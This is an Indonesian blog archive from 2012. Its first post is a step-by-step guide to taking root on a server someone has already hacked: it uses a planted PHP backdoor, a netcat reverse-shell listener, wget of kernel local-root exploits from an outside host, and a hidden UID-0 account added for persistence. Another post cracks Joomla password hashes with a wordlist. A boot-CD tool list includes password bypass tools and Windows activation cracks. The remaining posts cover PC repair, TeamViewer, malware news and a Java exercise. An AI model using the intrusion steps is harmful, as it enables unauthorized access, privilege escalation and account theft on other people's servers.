Selasa, 27 Maret 2012

Root Server & Tambah User Root Baru

Cara untuk ngeroot server & menambahkan user root baru, dikemudian hari bisa digunakan lebih jauh.
Hal yang dibutuhkan adalah
  • Komputer & Kopi
  • Situs target yang sudah di inject “shell backdoor”
  • Tool-tool Localroot Exploit
  • Netcat
========================================================================

1 – Cari Informasi Detail Server Target

Buka shell php di website yang sebelumnya telah ter-hack & terpasang backdoor “shell php
Contoh: http://www.situstargetyangtelahdihack.com/path/dir/shell.php
Langkah selanjutnya adalah pastikan anda mengetahui kernel server yang dipakai, biasanya sudah ada informasinya di “shell backdoor” seperti contoh di atas yaitu:
Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686
Atau anda juga bisa menggunakan dan menjalankan perintah: uname -a
Dari informasi diatas kita ketahui bahwa kernelnya adalah:  2.6.18-8 i686
Nah, setelah mengetahui informasi kernel, maka langkah yang harus dilakukan adalah cari dan temukan “LocalRoot Exploit” tool yang cocok untuk kernel diatas. Sediakan localroot untuk kernel ini: 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686.
Kita cari disini saja localroot exploitnya, kebetulan banyak listnya: localroot.th3-0utl4ws
download local root 

2 – BackConnecting Dari Server Ke Komputer Attacker


Seperti yang disampaikan sebelumnya, yang dibutuhkan dalam hal ini adalah:

  1. Netcat Tools (Harus sudah terinstall di komputer)
  2. Open port (Port-port yang secara otomatis terbuka)
Buka netcat dan jalankan perintah berikut, misal port yang akan digunakan adalah 443:
C:\WINDOWS\system32\cmd.exe – nc -l -n -v -p 443
Kemudian tekan “Enter
Nanti akan muncul pesan “Listening on [any] 443 …
Setelah itu, kita kembali ke “shell backkdor” yang sudah kita tanamkan.
Cari fungsi “Back Connect“, kemudian isikan IP yang kita miliki & port.
Misal: IP Kita: 10.10.10.10 dan port: 443, seperti gambar dibawah:


Kita jalankan perintah “Connect
Klo berhasil akan muncul seperti ini di layar command line kita, itu artinya back connect berhasil dengan sukses.


3 – Download Exploit & Eksekusi Exploit

Kita akan membutuhkan localroot exploit, bisa di download dari link yang sudah disebutkan diatas, adapun beberapa cara yang bisa dilakukan yaitu
1) Menggunakan fungsi “WGET / CURL
2) Bisa menggunakan cara upload manual dari shell
Berhubung di server ini “WGET” bisa dilakukan, maka download localroot exploit memakai fungsi “WGET”.
Oke, copy saja download link “localroot exploit yang tepat:
Download Kumpulan Tools Localroot Dari Th3-0utl4ws
download local root
Untuk mendownload tools diatas ketikkan saja perintah: wget http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip
Apabila sudah terdownload maka extract “local root tools” tersebut, bisa dengan menggunakan perintah “unzip” atau “untar” atau “tar


Seperti contoh diatas, “localroot exploit sudah terdownload” dan ter-extract:
unzip prct1.c.zip
Langkah selanjutnya adalah mengcompile localroot exploit tersebut, karena menggunakan bahasa “C”, maka yang digunakan adalah perintah GCC:
gcc prct1.c -o prc
Kemudian jalankan:
./prc
Catatan: Jika gagal dan muncul error, sebaiknya menggunakan tools “local root” exploit yang lainnya. (JANGAN MENYERAH!)
Yang di atas masih gagal, lakukan lagi & cari exploit lainnya!
Unzip lagi file localroot exploit yang lainnya: unzip 2.6.18-164.zip


Nah, localroot exploit diatas sangat cocok untuk kernel ini: (“2.6.18-164“)
Karena sudah berbentuk file yang sudah dicompile dan sudah bisa di eksekusi, langsung saja dieksekusi & jangan lupa change permissionnya jadi “777″, seperti contoh berikut:
chmod 777 2.6.18-164
Kemudian jalankan exploit:
./2.6.18-164
Untuk mengecek apakah kita sudah berhasil mendapatkan akses root, check dengan perintah berikut:
id
or
whoami


Jreng.. Jreng.. Jreng.. Anda sudah mendapatkan akses root, congrat!

4 – Menambahkan User Root Baru

Menambahkan user akses selevel dengan root sangatlah mudah, gunakan saja perintah berikut, sebagai contoh kita akan menambahkan akses root dengan user “Haxorfortutorial“:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M Haxorfortutorial
Penjelasan perintah:
Quote:
adduser – Perintah dasar linux untuk menambahkan user
-u 0 -o – set user menjadi dengan ID nol (0) root.
-g 0 – Set initial group dengan ID nol (0) root.
-G 0,1,2,3,4,6,10 – Set additional group ke:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel
-M – ‘home directory’ tidak di create ke user.
Haxorfortutorial - User name of the new user account.
Catatan: Rubah user Haxorfortutorial sesuai dengan username yang kalian inginkan, ini hanya contoh saja :)
Selanjutnya, lakukan set password untuk user yang telah kita buat.
Perintahnya:
passwd Haxorfortutorial
Contoh implementasi:
[root@fedora ~]# passwd Haxorfortutorial
Changing password for user Haxorfortutorial.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
id Haxorfortutorial


Backdoor GNY shell – http://privatepaste.com/1321f97984
Tools NetCat – http://downloadnetcat.com/nc11nt.zip
Demikian tutorial singkat cara ngeroot server dengan mudah, semoga selalu berhasil ngeroot! Selesai :)
Source article by m.3.h.d.i!

Cracking Joomla Password With Wordlist

Saatnya untuk melakukan crack password joomla dengan menggunakan Joomla Cracker Tools. Tools ini digunakan untuk melakukan BruteForce password dari hash yang didapatkan dari joomla password biasanya MD5+SALT.

Yang perlu disiapkan adalah:
1. Tools “joomla-cracker.pl” yang digunakan sebagai alat untuk melakukan bruteforce, download disini:

Download Cracker Tools 
2. Buatlah file “hash.txt” yang akan digunakan untuk menyimpan hash yang akan di crack.
3. Buatlah file “wordlist.txt” yang akan digunakan sebagai kumpulan dictionary password. Download wordlist generator disini.

Download Cracker Tools





4. Perl Engine harus sudah terinstall di Operating System yang akan di pakai.

Setelah semua file terlengkapi, maka cara menjalankannya adalah ./joomla-cracker.pl hash.txt wordlist.txt
1. Kumpulan file dalam directory hacking untuk melakukan crack joomla hash + salt.


















2. Contoh hash yang perlu dimasukkan dalam file “hash.txt

 






























3. Contoh kumpulan wordlist yang dimasukkan dalam file “wordlist.txt

















4. Berikut adalah cara menjalankan joomla-cracker tools ./joomla-cracker.pl hash.txt wordlist.txt

 




























Nah terlihat hasilnya disana bahwa hasil crack username + passwordnya adalah:
1. Username: rahmat & Password: 123456
2. Username: dede & Password: 123456
3. Dst.
Selamat mencoba dan semoga berhasil mengcrack joomla username & password :)

Minggu, 22 Januari 2012

Fix “C:\windows\system32\config\system missing or corrupt”

Well, sepertinya message error diatas bukan hal yang asing buat kalian yang sering benerin komputer alias teknisi komputer. Menurut si empunya OS, error tersebut diakibatnya registry yang korup. Penyebabnya adalah komputer mendadak mati, entah itu dilakukan secara sadar sama user-nya ato ngga sadar (mati lampu, dimatiin langsung sama PLN) yang mengakibatkan kerusakan pada file system, khususnya registry.
Menurut situs resmi Microsoft di sini, ada beberapa metode untuk me-recovery registry yang telah korup diantara lain ialah;
Automatic solve; menggunakan tools yg telah disediakan oleh microsoft, yaitu Guided Help. Jadi kita tinggal klik software ini terus bengong ngeliatin ini tools gerak-gerak sendiri nge-repair si registry. Menurut pengalaman saya pribadi, registry boleh kembali sedia kala tetapi tidak untuk konfigurasinya. Konfigurasi registry ternyata di-reset sehingga kembali seperti ketika habis install ulang. Semua settingan program yang telah terinstall hilang semua. Klik dimari kalo mau mencoba tool tersebut.
Manual solve; menggunakan Recovery Console, dan kemudian ketik seperti dibawah ini:
md tmp
copy c:\windows\system32\config\system c:\windows\tmp\system.bak
copy c:\windows\system32\config\software c:\windows\tmp\software.bak
copy c:\windows\system32\config\sam c:\windows\tmp\sam.bak
copy c:\windows\system32\config\security c:\windows\tmp\security.bak
copy c:\windows\system32\config\default c:\windows\tmp\default.bak
delete c:\windows\system32\config\system
delete c:\windows\system32\config\software
delete c:\windows\system32\config\sam
delete c:\windows\system32\config\security
delete c:\windows\system32\config\default
copy c:\windows\repair\system c:\windows\system32\config\system
copy c:\windows\repair\software c:\windows\system32\config\software
copy c:\windows\repair\sam c:\windows\system32\config\sam
copy c:\windows\repair\security c:\windows\system32\config\security
copy c:\windows\repair\default c:\windows\system32\config\default 
Kemudian exit recovery console dan restar

Mengenal Bunyi “Beep” Bios

WELCOME MY SITE

Untuk mengetahui jenis kerusakan atau permasalahan yang sering terjadi pada komputer ketika dinyalakan, dapat dikenali melalui bunyi beep yang muncul pada speaker mainboard.
Untuk mainboard dengan BIOS Award dan BIOS Phoenix
  • Bunyi bip pendek 1 kali : Sistem Normal.
  • Bunyi bip pendek 2 kali : Kerusakan/kesalahan pada CMOS.
  • Bunyi bip panjang 1 kali dan pendek 1 kali : Kerusakan/kesalahan pada DRAM.
  • Bunyi bip panjang 1 kali dan pendek 2 kali : Kerusakan/kesalahan pada VGA Card.
  • Bunyi bip panjang 1 kali dan pendek 3 kali : Kerusakan/kesalahan pada keyboard atau pada VGA Card.
  • Bunyi bip panjang 1 kali dan pendek 9 kali : Kerusakan/kesalahan pada ROM
  • Bunyi bip panjang berkali-kali : Kerusakan/kesalahan Pada DRAM, DRAM tidak terpasang dengan benar, atau DRAM tidak kompatibel dengan mainboard.
  • Bunyi bip pendek berkali-kali : Tenaga pada power supply tidak cukup, segera ganti power supply.
 Untuk mainboard dengan BIOS AMI
  • Tidak ada bunyi bip : Kerusakan/kesalahan pada mainboard, powersupply, atau speaker internal.
  • Bunyi bip pendek 1 kali : Sistem normal.
  • Bunyi bip pendek 2 kali : Kerusakan/kesalahan pada DRAM.
  • Bunyi bip pendek 3 kali : Kerusakan/kesalahan yang sama dengan bunyi bip pendek 2 kali.
  • Bunyi bip pendek 4 kali : Kesalahan tanggal dan waktu pada sistem.
  • Bunyi bip pendek 5 kali : Kerusakan pada prosesor/mainboard.
  • Bunyi bip pendek 6 kali : Kerusakan/kesalahan pada keyboard.
  • Bunyi bip pendek 7 kali : Kerusakan/kesalahan yang sama dengan bunyi bip pendek 5 kali.
  • Bunyi bip pendek 8 kali : Kerusakan/kesalahan pada VGA.
  • Bunyi bip pendek 9 kali : Kesalahan pada saat checksum rom.
  • Bunyi bip pendek 10 kali : Kerusakan/kesalahan pada CMOS.
  • Bunyi bip pendek 11 kali : Kerusakan/kesalahan pada Cache Memory.
  • Bunyi bip panjang 1 kali dan pendek 3 kali : Kesalahan pada saat memory test.
  • Bunyi bip panjang 1 kali dan pendek 8 kali : Kesalah pada saat pengecekan VGA.
  • Dan dibawah ini ada sedikit arti sebuah suara bip, yang menandakan adanya kesalahan/kegagalan di salah satu komponen komputer anda.
Tipe AMI BIOS
1x suara BIP panjang
Ada kemungkinan RAM mati atau terpasang tidak benar, sehingga menyebabkan kegagalan refresh DRAM.
2x
Kegagalan rangkaian parity. Pada saat data yang ditransmisikan dalam komputer, biasanya ditambahkan parity bit yang berfungsi untuk mendeteksi error. Pekerjaan ini dilakukan rangkaian parity yang terdapat dalam komputer. Hal ini kemungkinan disebabkan adanya masalah pada memori atau mainboard.
3x
Kegagalan base memori 64K, kegagalan ini biasanya disebabkan slot memori yang dikelompokkan dalam modul yang memiliki chip rusak. Base memori 64K adalah 64 KB memori yang pertama pada RAM.
4x
Kegagalan sistem timer, kemungkinan terdapat kesalahan pada satu atau lebih timer yang digunakan untuk mengontrol fungsi-fungsi pada motherboard.
5x
Kegagalan processor, dapat disebabkan panas berlebih, atau karena proses tidak terpasang benar kedalam socketnya.
6x
Kegagalan keyboar controller/gate A20, keyboard controller adalah chip pada motherboard yang mengendalikan keyboard anda
7x
kesalahan pembacaan processor kemungkinan adanya kerusakan pada processor
8x
kesalahan baca/tulis memory display
9x
Kerusakan BIOS
10x
Kesalahan CMOS
11x
Kerusakan cache memori
——————————-

  1. kalau ada Bunyi Bib pendek 1 x , itu tandanya komputer itu sehat-sehat za..
  2. kalau bunyi BiB… panjang 1x, ah.. trouble , itu nandain HD kamu bermasalah.
  3. BIB.. panjang 1x trus Bib pndek 1x,.. tu tandanya Motherboardnya bermasalah..
  4. Bib.. panjang 1x terus BIb pendek 2x, VGAnya
  5. BIB Panjang 3x, Keyboardnya rada bermasalah..
  6. BiB, BiB (pendek) terus2an, coba periksa Power supplynya,, mungkin da yang rusak
  7. BiB… Panjang terus2an, berarti da masalah ma Memorinya..


 

NTLDR is Missing

Mungkin Anda pernah menemukan pesan error “NTLDR is Missing” kadang ada tambahan “Press any key to restart”. Komputer tidak mau dihidup. Setelah ditekan tombol apapun cuman restart sambil terus menampilkan pesan error di atas. Apa yang terjadi?
Tenang, jangan panik. Anda dapat menanganinya dengan langkah sederhana berikut ini.
Menurut Microsoft dan beberapa sumber yang berkecimpung dalam dunia antivirus dan penyelamatan data, pesan error tersebut muncul dengan minimal salah satu sebab berikut ini:
1. Komputer melakukan booting dari media yang non-bootable
2. Harddisk tidak terdeteksi dengan baik di BIOS
3. File NTLDR dan atau NTDETECT.COM rusak/hilang
4. Konfigurasi file boot.ini yang tidak tepat
5. Upaya upgrade Windows 95, 98, atau ME yang masih menggunakan Fat32
6. Ada Harddisk baru yang baru dipasang
7. Boot sector/Master Boot Record rusak/hilang
8. File sistem Windows 2000 or Windows XP rusak atau terkorupsi
9. Kabel data Harddisk IDE/EIDE cacat atau rusak
Berikut ini langkah pemecahannya:
Pilihan 1: Menggunakan Recovery Console Windows
1. Boot komputer dari CD instalasi Windows XP
2. Pilih opsi Repair(R) dengan menekan tombol R
3. Setelah masuk pada Command Prompt Windows (Layar berubah berwarna hitam dengan tulisan putih) Pilih sistem operasi dengan menekan tombol 1 kemudian [Enter]
4. Jika ada, masukkan password Administrator. Jika tidak ada, langsung tekan [Enter]
5. Jika Anda baru saja melakukan perubahan pada master boot record atau proses booting, kembalikan file Boot.ini ke kondisi semula dengan mengetik perintah berikut:
fixmbr [Enter]
fixboot [Enter]
6. Pindah ke drive CD Anda. Misalnya saya punya CD Drive di E: maka perintanhya seperti ini:
E: [Enter]
7. Copy file ntldr dan ntdetect.com dari folder I386 di CD Drive Anda ke folder C: dengan perintah berikut:

copy E:\I386\ntldr c:
copy E:\I386\ntdetect.com c:

Jika ada konfirmasi, jawab dengan [Y]es
8. Restart Komputer.
Dalam beberapa kasus yang pernah saya tangani, langkah tersebut di atas dapat menyelesaikan masalah. Namun jika Anda belum beruntung, silakan coba Pilihan kedua berikut ini.
Pilihan 2: Menggunakan File Recovery.
File ini saya temukan dari hasil googling beberapa tahun lalu. Jadi maaf saya tidak sertakan sumbernya. Semoga amal programmernya diterima di sisi-Nya.. Amin.
Kembali ke proses recovery.. Cara ini lebih mudah karena Anda tinggal mendownload file recovery dan mengkopi ke flashdisk/disket atau burning file ISO berikut ini. File yang saya maksud dapat Anda download dari sini.
File Recovery ini berisi file-file sebagai berikut:
  1. fixntldr.exe = untuk membuat disket bootable dengan perbaikan
  2. fixntldr.zip = file-file yang hilang
  3. fixntldriso4w2k.zip = file iso berisi perbaikan pesan error untuk win2000/server edition
  4. fixntldriso.zip = file iso berisi perbaikan pesan error untuk winxp
  5. ntldrusb.zip = untuk membuat buat usb flasdisk bootable berikut perbaikan
Selanjutnya Anda tinggal pilih media yang akan Anda gunakan. Copy/Burn dan booting dengan media tersebut. Misalnya saya pilih media CD, saya download dan burn file fixntldriso.zip ke dalam sebuah CD dan booting dari CD yang barusan saya burn. Secara otomatis program di dalamnya akan mengkopy file NTLDR dan NTDETECT.COM ke drive C:

Me-”Remote” Komputer Dengan Team Viewer

TeamViewer merupakan salah satu software Remote Desktop yang cukup populer dan banyak digunakan karena kemudahannya, keunggulan dan mampu berjalan di berbagai sistem operasi, seperti Windows, Mac OX X, Linux, iOS dan juga Android. Kita bisa menggunakan secara gratis untuk penggunaan non-komersial.

""Remote Desktop merupakan istilah untuk software atau fitur sistem operasi yang memungkinkan atau mengijinkan kita mengakses komputer lain atau yang ada di luar (asal terkoneksi internet/jaringan) secara remote, seakan komputer tersebut didepan kita.""

TeamViewer terdiri dari dua buah program utama, satu program dijalankan di komputer kita dan satu lagi di komputer yang akan kita akses melalui komputer kita (remote). Setelah keduanya terkoneksi maka kita bisa mengakses komputer secara remote dengan mudah karena tampilannya merupakan tampilan dekstop komputer remote (lengkap dengan start menu, icon2 dan program2 yang ada).
Tersedia versi installer ataupun portable yang bisa kita pilih. Jika kita jarang menggunakan atau hanya ingin mencoba, sebaiknya memilih versi portable sehingga tidak perlu installasi. Selain 2 program utama, terdapat aplikasi tambahan lainnya yang mendukung atau untuk mendapatkan fitur lain seperti meeting.
Penggunaan TeamViewer
Untuk komputer yang akan diakses, agar mudah dan simpel, bisa menggunakan aplikasi portable TeamViewer QuickSupport. Download TeamViewerQS (sekitar 4 MB) kemudian langsung jalankan, tunggu beberapa saat sehingga kita akan mendapatkan ID dan password.
ID ini bersifat unik sehingga tidak bisa kita ubah, sedangkan password bisa kita ubah atau dibuat acak ( klik kanan di isian password dan pilih menu “Create new random password”). Selanjutnya kita tinggal memberikan ID dan Password tersebut ke orang yang akan diberikan ijin untuk mengakses komputer kita.
Untuk komputer yang digunakan untuk mengakses secara remote, install TeamViewer atau download TeamViewer Portable. Selanjutnya jalankan TeamViewer.exe. Untuk mengakses komputer lain, pada bagian Control Remote COmputer, isikan bagian Partner ID sesuai dengan ID komputer yang akan kita akses (yang sudah diberikan teman kita).
Selanjutnya kita bisa memilih Remote Control atau File Transfer, dan tinggal klik tombol Connect to partner. Setelah itu jika komputer yang akan diakses online dan TeamViewer Quick Support aktif, maka kita akan terkoneksi dan diminta memasukkan password. Setelah ID dan password benar, kita akan bisa mengakses desktop komputer secara remote. Dengan TeamViewer.exe ini pun komputer kita juga bisa diakses komputer lain dengan memberikan ID dan password yang tampil.
Asal kedua komputer bisa akses internet, biasanya keduanya bisa menjalankan TeamViewer dan bisa mengakses secara remote. Karena setiap saat program ini mengirim tampilan desktop komputer yang diakses, maka koneksi internet keduanya juga harus lumayan cepat.
Download untuk berbagai sistem operasi bisa didapatkan dari Halaman Download TeamViewer

DLC Boot 2012 v.1.0, Modif Hiren’s Yang Powerful

DLC adalah sebuah Multi Purpose Boot CD, yang didalamnya telah dirangkum berbagai software untuk membantu seorang teknisi komputer. Bila anda pernah menggunakan Hiren’s Boot CD, ini adalah boot CD jenis yang sama, atau bisa dibilang modifikasi Hiren’s Boot CD itu sendiri. Hiren’s versi terbaru banyak menghilangkan program² penting karena masalah copyright. Nah, di DLC Boot 2012 ini, program tersebut ditambahkan kembali. Intinya, DLC Boot 2012 ini lebih powerful dibandingkan dengan Hiren’s Boot CD sebagai pionirnya.
Download:
 

pass:

softmediafire
 
Add:
Plop Boot Manager 5.0
Partition Tools:
Acronis Disk Director Home 11.0.2343 Update 2
Paragon Partition Manager Server 7.0.1274
Backup Tools:
Norton Ghost 11.5.1
Password & Registry Tools:
Offline NT/2000/XP/Vista/7 Password Changer
Active Password Changer 3.0.420 (NT/2000/XP/2003/Vista)
Kon-Boot (to bypass Password)
Hard Disk Tools:
Partition Table Doctor 3.5
Ontrack Disk Manager 9.57
HDD Regenerator 2011 (full)
HDAT2 v4.5.3
MHDD 4.6
Testing Tools:
Memtest86+
NTFS Ext2FS, Ext3FS (FileSystems) Tools:
NTFS4Dos 1.9
* Change in DOS:
Remove:
All Tools
* Change in Mini Windows XP:
Remove:
All Tools
Add:
Tools for MiniXP:
Add Fonts for Mini XP
Set DLC1Temp:
+ Set DLC1Temp
+ Set DLC1Temp On C
+ Set DLC1Temp On D
+ Set DLC1Temp On E
+ Set DLC1Temp On F
+ Set DLC1Temp On G
+ Set DLC1Temp On H
Disable TeraCopy Pro 2.27
Enable TeraCopy Pro 2.27
Set PageFile
ImDisk Virtual Disk Driver 1.5.2.17
Clear Temp Folder
Disk Tools:
+ Partition Wizard Professional Edition 6.0
+ EASEUS Partition Master 9.1.0 Server Edition
+ PartitionGuru Free 3.7.0
+ BootICE 0.9.2011.512
+ Grub4Dos Setup
+ HDD Low Level Format Tool 4.12
+ Raid Reconstructor 4.25
Backup:
+ Acronis True Image Home 2012 15.0.0.6131
+ Ghost32
+ Ghost Explorer
+ GhostCast Server
+ OneKey Ghost 6.5.11.183
+ Delete junk files before Backup
+ HDClone Professional 4.0.7
+ Active@ Disk Image 5.1.2
+ 7Tokens Manager 1.3
+ Pick Me App 0.5.11.7
Backup Driver:
+ Driver Genius Pro 11.0.0.1112
+ 3DP Chip 11.10
+ Double Driver 4.1.0
+ Smart Driver Backup 2.12
Internet and Network:
+ Opera Web Browser 11.01.1190
+ Internet Download Manager 6.07 Build 15
+ TeamViewer 6.0.10642
+ VNC 4.6.3
+ Radmin Viewer 3.4
+ FESOUP 4.1.2.4
+ UltraSurf 11.03
+ Fix Internet 4.0
+ SoftPerfect Network Scanner 5.3.1
+ TFtpd32 (Boot from LAN)
Recovery:
+ Digital Rescue 4 Premium 4.0.0.2E
+ GetDataBack 4.25
+ GetData Recover My Files Pro 4.9.4.1296
+ EASEUS Data Recovery Wizard Professional 5.5.1
+ MiniTool Power Data Recovery 6.6
+ iCare Data Recovery 4.5.2
+ O&O DiskRecovery 7.1.183
+ CardRecovery 5.30.1206
+ Partition Find and Mount Pro 2.31
System Information:
+ HWiNFO32 3.89.1425
+ CPU-Z
+ GPU-Z
+ Devlib GetDiskSerial DLL 5.00
+ Hard Disk Serial Number Changer
Office:
+ TextMaker Office 2012 rev 654
+ Unikey 4.0 RC2
Burning:
+ UltraISO Premium 9.5.2.2836
+ BurnAware Professional 4.2.0
Antivirus:
+ Kaspersky Virus Removal Tool 2010 (30/12/2011)
+ Kaspersky TDSSKiller 2.6.23.0
+ Remove Fake Antivirus 1.82
+ Win32/Sality Remover 1.2.0.616
+ PCMAV Express: for Induc, for NgrBot, for Conficker, for Ramnit
+ Smadav 2011 Rev 8.8.4
System:
+ XueTr 0.45
+ UltimateDefrag 3.0.100.39
+ Your Uninstaller Pro 7.3.2011.4
+ WinNTSetup 2.1
+ Avast! Registry Editor
+ Delete Job Printer
+ Tools for Windows 7: Quick Fix Windows 7 1.0, Fix Win7 Utility 1.2, Disable USB On Windows 7
+ Tools for Windows XP: XP Quick Fix Plus 2.0.1, Fix ntldr is missing
+ TorchSoft Registry Workshop 4.5.0
+ Edit Hosts File
Utilities:
+ Total Commander 7.56a
+ 7-Zip 9.20
+ CCleaner 3.14.1616 With CCEnhancer 2.5
+ Safe Mode Fixer 1.1.0.0
+ Gadwin PrintScreen Pro 4.7.2601
+ File Splitter & Joiner 3.3
+ Delete Doctor 2.3
+ Resetting Epson Printer
+ PassMark KeyboardTest 3.0.1000
+ Virtual Drives Manager 1.0
+ RAR Repair Tool 4.0.1
+ Resource Hacker 3.6.0.92
+ Unlocker
USB Tools:
+ Creat USB Hiren’s Boot
+ USB Disk Storage Format
+ USB Hidden Folder Fix 1.1
+ USB Show 1.0
+ USB WriteProtector 1.2
+ USB Disks Access Manager 1.0
+ Test USB 1.4
Password Tools:
+ Anti Deep Freeze 0.4
+ CMOS De-Animator 2.1
+ Active@ Password Changer Pro 4.0.0.111
+ Ophcrack 3.3.1
+ PDF Password Remover 3.1
+ Office Password Recovery Toolbox 3.0.0.1
+ Get Password 1.0
Crack your Windows:
+ Remove WGA 1.2 (Crack Windows XP)
+ Windows 7 Loader 2.1 (Crack Windows 7 SP1)
+ RemoveWAT 2.2.6
 


Selasa, 17 Januari 2012

Pembuat Virus Incar Anak-anak

Praha - Dalam dunia teknologi informasi (IT), virus adalah musuh terbesar para pengguna komputer. Virus yang beredar selalu membuat para pengguna geram akibat dampak yang terjadi pada PC mereka. Dan kini para pembuat virus menargetkan anak-anak.

Sebagaimana yang dilansir dalam laman dailymail, Senin (16/1), pembuat virus sedang mengincar anak-anak dalam melancarkan operasi mereka. Para peretas menargetkan situs-situs game yang diam-diam menginfeksi PC orangtua mereka. Virus tersebut sangat berbahaya lantaran selain merusak sistem komputer, juga akan mencuri informasi pengguna yang terdapat pada komputer.













Hacker menargetkan situs game kartun yang menyamar sebagai website yang tak berdosa. Jika anak-anak menginstalnya maka akan membahayakan PC. Anak-anak 'diserang' dengan menggunakan situs yang menawarkan permainan gratis. Contohnya, CuteArcade.com, yang dilaporkan menginfeksi 12.600 komputer, menurut perusahaan keamanan, laboratorium virus Ceko, Avast.

"Selain itu ada HiddenNinjaGames.com yang juga menimbulkan risiko," kata perusahaan keamanan. Dari pantauan Perusahaan Kemananan Anti Virus, saat ini telah teridentifikasi 60 situs permainan anak-anak yang diinfeksi virus. Sementara, pemilik software antivirus Avast Ondrej Vlcek berpendapat, saat anak-anak membuka laman situs-situs permainan, para peretas akan menaruh link-link agar anak-anak tersebut mengklik.

"Tanpa pikir panjang, anak-anak akan cenderung mengklik link-link yang tidak dikenal," kata Ondrej Vlcek, CTO Software Avast. Seperti biasa, solusi mencegah virus adalah memastikan Anda menggunakan browser yang up-to-date dan memiliki fitur keamanan seperti peringatan yang diaktifkan.

Program antivirus seperti Norton dapat diatur untuk memberikan peringatan bahwa situs mungkin terinfeksi, atau bahkan iklan dapat menimbulkan risiko. "Minimal, orang perlu sebuah program antivirus yang terlihat untuk berbagai jenis malware dan scan situs untuk infeksi,"kata Vlcek.
 

Minggu, 15 Januari 2012

Tugas Java


EventCheckBox

import java.awt.*;
import java.awt.event.*;
import javax.swing.*;

class CheckBoxHandling extends JFrame implements ItemListener {
   private JTextField teks;
   private JPanel panel;
   private JCheckBox cb1, cb2, cb3;

   public CheckBoxHandling() {
   super ("Coba CheckBox Handling");
   teks = new JTextField ("Jenis Kelamin : Pilihan");
   teks.setHorizontalAlignment(SwingConstants.CENTER);
   panel = new JPanel (new FlowLayout());
   cb1 = new JCheckBox("Pria");
   cb2 = new JCheckBox("Wanita");
   cb3 = new JCheckBox("Banci");

   ButtonGroup group = new ButtonGroup ();
   group.add(cb1);
   group.add(cb2);
   group.add(cb3);
    cb1.addItemListener(this);
    cb2.addItemListener(this);
    cb3.addItemListener(this);

   setLayout (new BorderLayout());
    add(teks,"North");
    add(panel,"West");
        panel.add(cb1);
        panel.add(cb2);
        panel.add(cb3);

   pack();
   setResizable(false);
   setLocation(200,200);
   setDefaultCloseOperation(3);
   setVisible(true);
   }

   public void itemStateChanged(ItemEvent Event) {
     if (Event.getSource()==cb1) {
              if (Event.getStateChange()==ItemEvent.SELECTED)
        teks.setText ("Jenis Kelamin = Pria");
     }

     if (Event.getSource()==cb2) {
              if (Event.getStateChange()==ItemEvent.SELECTED)
        teks.setText ("Jenis Kelamin = Wanita");
     }
     if (Event.getSource()==cb3) {
              if (Event.getStateChange()==ItemEvent.SELECTED)
        teks.setText ("Jenis Kelamin = Banci");
     }
   }
 }

 public class EventCheckBox {
    public static void main(String []args) {
     new CheckBoxHandling();
    }
 }